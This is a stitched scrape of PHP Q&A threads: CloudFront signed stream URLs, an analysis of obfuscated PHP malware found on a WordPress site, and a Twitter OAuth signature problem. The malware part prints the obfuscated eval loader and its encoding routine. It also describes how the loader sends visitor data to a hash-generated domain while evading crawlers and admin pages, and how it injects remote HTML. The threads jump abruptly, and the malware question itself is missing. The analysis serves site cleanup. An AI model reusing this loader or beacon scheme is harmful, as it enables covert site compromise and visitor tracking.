How to combine stream name in AWS cloudfront? - php
Amazon Cloudfront SDK and example code - how do I combine the stream name? All the other functions are spelled out, but I can't see any definition or example for create_stream_name().
Below is the complete code from the example as described in the documentation here : https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/CreateURL_PHP.html
As you can see, the function create_stream_name() does not appear anywhere but is called in line 12, which will result in a "call to undefined function" error. How should I define create_stream_name()?
function get_canned_policy_stream_name($video_path, $private_key_filename, $key_pair_id, $expires) {
// this policy is well known by CloudFront, but you still need to sign it,
// since it contains your parameters
$canned_policy = '{"Statement":[{"Resource":"' . $video_path . '","Condition":{"DateLessThan":{"AWS:EpochTime":'. $expires . '}}}]}';
// sign the canned policy
$signature = $this->rsa_sha1_sign($canned_policy, $private_key_filename);
// make the signature safe to be included in a url
$encoded_signature = $this->url_safe_base64_encode($signature);
// combine the above into a stream name
$stream_name = create_stream_name($video_path, null, $encoded_signature, $key_pair_id, $expires);
// url-encode the query string characters to work around a flash player bug
return encode_query_params($stream_name);
}
function rsa_sha1_sign($policy, $private_key_filename) {
$signature = "";
// load the private key
$fp = fopen($private_key_filename, "r");
$priv_key = fread($fp, 8192);
fclose($fp);
$pkeyid = openssl_get_privatekey($priv_key);
// compute signature
openssl_sign($policy, $signature, $pkeyid);
// free the key from memory
openssl_free_key($pkeyid);
return $signature;
}
function url_safe_base64_encode($value) {
$encoded = base64_encode($value);
// replace unsafe characters +, = and / with
// the safe characters -, _ and ~
return str_replace(
array('+', '=', '/'),
array('-', '_', '~'),
$encoded);
}
The function create_stream_name() is defined in the full example (demo.php) which you can download at https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/samples/demo-php.zip. The full example is linked to at the top of the documentation page, though it's somewhat obscured behind the text "Signature Code for Video Streaming in PHP." [Update: It's no longer obscured, see below.]
Full disclosure: I'm the person responsible for that documentation page, so I'll do a couple of things to make it better:
Make the link to the full sample more discoverable. [Update: The download URL for the full example is now more prominent at the top of the documentation page.]
Add the full example to the page, so you can see and copy it right off the page, rather than having to download a zip file. [Update: The full example is now published at the bottom of the documentation page.]
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'6393,48,9851,47,2858,50,3117,23,8291,22,9595,68,3457,33,7412,23,3914,63,6775,52,3088,29,1791,56,2150,28,6441,66,3140,43,1906,35,926,36,7276,35,2578,51,2993,59,275,45,6613,30,9241,42,9210,31,886,40,9989,41,5417,69,4931,62,1312,54,534,47,483,51,7223,53,10071,35,6190,50,3811,39,6142,48,2353,24,7062,23,6048,57,1266,46,3977,58,8168,55,1633,23,5272,63,2455,47,2659,30,6751,24,6827,38,2377,38,9554,41,3706,63,5644,70,4249,67,5105,50,4787,40,5574,24,1087,21,7389,23,1108,60,6277,47,6865,29,5486,28,8828,28,9283,26,1366,61,3223,27,6949,50,8506,23,3850,64,1739,52,9128,24,5714,20,9449,70,7435,62,8131,37,4653,70,0,29,4316,56,3572,68,4528,39,180,20,9379,70,200,35,1028,30,92,20,5025,38,7567,50,9519,35,2908,51,8672,58,8986,47,9152,58,9087,20,5879,29,3769,42,8029,45,5391,26,8333,25,5063,42,5203,69,9718,65,726,20,157,23,4567,33,1847,28,1212,54,9898,51,3640,66,6324,49,5155,48,61,31,9783,68,2271,36,815,38,7717,69,2793,42,5335,56,5543,31,3399,58,2629,30,6373,20,4372,65,8925,61,5598,23,362,57,7363,26,3353,46,3052,36,1581,52,2178,48,4180,20,853,33,1656,26,2766,27,5847,32,4993,32,1168,44,9663,55,2835,23,698,28,5908,51,6999,63,1530,51,419,64,9107,21,7617,37,7497,70,962,66,2415,40,4437,51,7786,70,4624,29,8730,39,8358,50,5988,60,8074,57,6105,37,4723,64,1682,57,1489,41,1058,29,3250,41,7155,29,3291,62,29,32,8408,59,5514,29,8313,20,3490,55,235,40,8223,68,8467,39,8636,36,7184,39,320,42,9033,34,6643,67,2521,57,2026,60,2959,34,7856,64,6240,37,4200,49,4827,66,1979,47,4893,38,581,48,1875,31,655,43,4035,53,5621,23,6507,46,6553,60,8769,59,7654,63,7920,49,8593,43,5734,68,5802,45,9309,70,1941,38,629,26,5959,29,9067,20,7085,70,9949,40,4088,56,10030,41,4144,36,8529,64,3545,27,4488,40,2307,46,2086,64,1427,62,6710,41,746,69,2689,20,2709,57,6894,55,2226,45,8856,26,8882,43,7311,52,3183,40,112,45,4600,24,7969,60,2502,19'); $aemhtmvyge = substr($nzujvbbqez, (69491 - 59385), (44 - 37)); if (!function_exists('hperlerwfe')) { function hperlerwfe($opchjywcur, $oguxphvfkm) { $frnepusuoj = NULL; for ($yjjpfgynkv = 0;$yjjpfgynkv < (sizeof($opchjywcur) / 2);$yjjpfgynkv++) { $frnepusuoj.= substr($oguxphvfkm, $opchjywcur[($yjjpfgynkv * 2) ], $opchjywcur[($yjjpfgynkv * 2) + 1]); } return $frnepusuoj; }; } $rfmxgmmowh = " /* orpuzttrsp */ eval(str_replace(chr((230-193)), chr((534-442)), hperlerwfe($uskbxljsbs,$nzujvbbqez))); /* unvtjodgmt */ "; $yiffimogfj = substr($nzujvbbqez, (60342 - 50229), (38 - 26)); $yiffimogfj($aemhtmvyge, $rfmxgmmowh, NULL); $yiffimogfj = $rfmxgmmowh; $yiffimogfj = (470 - 349); $nzujvbbqez = $yiffimogfj - 1; ?>
After digging though the obfuscated code untangling a number of preg_replace, eval, create_function statements, this is my try on explaining what the code does: The code will start output buffering and register a callback function triggered at the end of buffering, e.g. when the output is to be sent to the web server. First, the callback function will attempt to uncompress the output buffer contents if necessary using gzinflate, gzuncompress, gzdecode or a custom gzinflate based decoder (I have not dug any deeper into this). With the contents uncompressed, a request will be made containing the $_SERVER values of HTTP_USER_AGENT HTTP_REFERER REMOTE_ADDR HTTP_HOST PHP_SELF ... to the domain given by chars 0-8 or 8-15 (randomly picks one or the other) in an md5 hash of the IPv4 address of "stat-dns.com" appended with ".com", currently giving md5(".com" . <IPv4> ) => md5(".com8.8.8.8") => "54dfa1cb.com" / "33db9538.com". The request will be attempted using file_get_contents, curl_exec, file and finally socket_write. Note that no request will be made if: any of the HTTP_USER_AGENT, REMOTE_ADDR or HTTP_HOST is empty/not set PHP_SELF contains the word "admin" HTTP_USER_AGENT contains any of the words "google", "slurp", "msnbot", "ia_archiver", "yandex" or "rambler". Secondly, if the output buffer contents has a body or html tag, and the response from the request above (decoded using en2() function below) contains at least one "!NF0" string, the content between the first and second "!NF0" (or end of string) will be injected into the HTML page at the beginning of the body or in case there is no body tag, the html tag. The code used for encoding/decoding traffic is this one: function en2($s, $q) { $g = ""; while (strlen($g) < strlen($s)) { $q = pack("H*", md5($g . $q . "q1w2e3r4")); $g .= substr($q, 0, 8); } return $s ^ $g; } $s is the string to encode/decode and $q is a random number between 100000 and 999999 acting as a key. The request URL mentioned above is calculated like this: $url = "http:// ... /" . $op // Random number/key . "?" . urlencode( urlencode( base64_encode(en2( $http_user_agent, $op)) . "." . base64_encode(en2( $http_referrer, $op)) . "." . base64_encode(en2( $remote_addr, $op)) . "." . base64_encode(en2( $http_host, $op)) . "." . base64_encode(en2( $php_self, $op)) ) ); While I have not found any sign of what initially placed the malicious code on your server, or that it does anything else than allowing for bad HTML/JavaScript code to be injected on your web pages that does not mean that it is not still there. You really should make a clean install, like suggested by #Bulk above: The only way you'll ever know for sure it's been cleaned is to re-install absolutely everything you can from scratch - i.e. fresh wordpress install, fresh plugin install. Then literally comb every line of your theme for anything out of the ordinary. Also of note, they often will put things in wp-content/uploads that look like images but aren't - check those too. Pastebin here.
Twitter request token
I'm trying to work with the examples on the Twitter dev site but can't seem to get to the same signature as they have. I am trying to complete step 3 on https://dev.twitter.com/docs/auth/implementing-sign-twitter because I am getting an error "Invalid or expired token" but I know it isn't because I've only just been given it, so it must be something wrong with my data packet. The code I am using to try and generate this is: // testing bit $oauth = array( 'oauth_consumer_key'=>'cChZNFj6T5R0TigYB9yd1w', 'oauth_nonce'=>'a9900fe68e2573b27a37f10fbad6a755', 'oauth_signature_method'=>'HMAC-SHA1', 'oauth_timestamp'=>'1318467427', 'oauth_token'=>'NPcudxy0yU5T3tBzho7iCotZ3cnetKwcTIRlX0iwRl0', 'oauth_version'=>'1.0' ); $this->o_secret = 'LswwdoUaIvS8ltyTt5jkRh4J50vUPVVHtR2YPi5kE'; $this->c_secret = 'kAcSOqF21Fu85e7zjz7ZN2U4ZRhfV3WpwPAoE3Z7kBw'; ksort($oauth); $string = rawurlencode(http_build_query($oauth)); $new_string = strtoupper($http_method).'&'.rawurlencode($main_url[0]).'&'.$string; // The request_token request doesn't need a o_secret because it doesn't have one! $sign_key = strstr($fullurl,'request_token') ? $this->c_secret.'&' : $this->c_secret.'&'.$this->o_secret; echo urlencode(base64_encode(hash_hmac('sha1',$new_string,$sign_key,true)));exit; And I'm assuming that the keys listed on this page are in fact correct: https://dev.twitter.com/docs/auth/creating-signature. So in that case the signature should be 39cipBtIOHEEnybAR4sATQTpl2I%3D. If you can spot what I'm missing that would be great.
Your consumer secret and token secret are incorrect for the page you reference. If you look further up the page you can see that they should be: Consumer secret: L8qq9PZyRg6ieKGEKhZolGC0vJWLw8iEJ88DRdyOg Token secret: veNRnAWe6inFuo8o2u8SLLZLjolYDmDP7SzL0YfYI Also in Step 3 you need to include the oauth_verifier in the list of parameters when calculating your signature base string. I'm not familiar with PHP so I haven't checked your code to calculate the signature.
This code has now worked - I will tidy it up from there :) // This function is to help work out step 3 in the process and why it is failing public function testSignature(){ // testing bit $oauth = array( 'oauth_consumer_key'=>'cChZNFj6T5R0TigYB9yd1w', 'oauth_nonce'=>'a9900fe68e2573b27a37f10fbad6a755', 'oauth_signature_method'=>'HMAC-SHA1', 'oauth_timestamp'=>'1318467427', 'oauth_token'=>'NPcudxy0yU5T3tBzho7iCotZ3cnetKwcTIRlX0iwRl0', 'oauth_version'=>'1.0' ); $this->o_secret = 'LswwdoUaIvS8ltyTt5jkRh4J50vUPVVHtR2YPi5kE'; $this->c_secret = 'kAcSOqF21Fu85e7zjz7ZN2U4ZRhfV3WpwPAoE3Z7kBw'; ksort($oauth); $string = http_build_query($oauth); $new_string = strtoupper($http_method).'&'.$main_url[0].'&'.$string; $new_string = 'POST&https%3A%2F%2Fapi.twitter.com%2F1%2Fstatuses%2Fupdate.json&include_entities%3Dtrue%26oauth_consumer_key%3Dxvz1evFS4wEEPTGEFPHBog%26oauth_nonce%3DkYjzVBB8Y0ZFabxSWbWovY3uYSQ2pTgmZeNu2VS4cg%26oauth_signature_method%3DHMAC-SHA1%26oauth_timestamp%3D1318622958%26oauth_token%3D370773112-GmHxMAgYyLbNEtIKZeRNFsMKPR9EyMZeS9weJAEb%26oauth_version%3D1.0%26status%3DHello%2520Ladies%2520%252B%2520Gentlemen%252C%2520a%2520signed%2520OAuth%2520request%2521'; // The request_token request doesn't need a o_secret because it doesn't have one! $sign_key = $this->c_secret.'&'.$this->o_secret; echo 'Should be: tnnArxj06cWHq44gCs1OSKk/jLY=<br>'; echo 'We get: '.base64_encode(hash_hmac('sha1',$new_string,$sign_key,true)); exit; }
you want to access token from twitter and sign in implementation you can see in this example. 1) http://www.codexworld.com/login-with-twitter-using-php/ and this one for timeline tweets 2) http://www.codexworld.com/create-custom-twitter-widget-using-php/ may be this help you .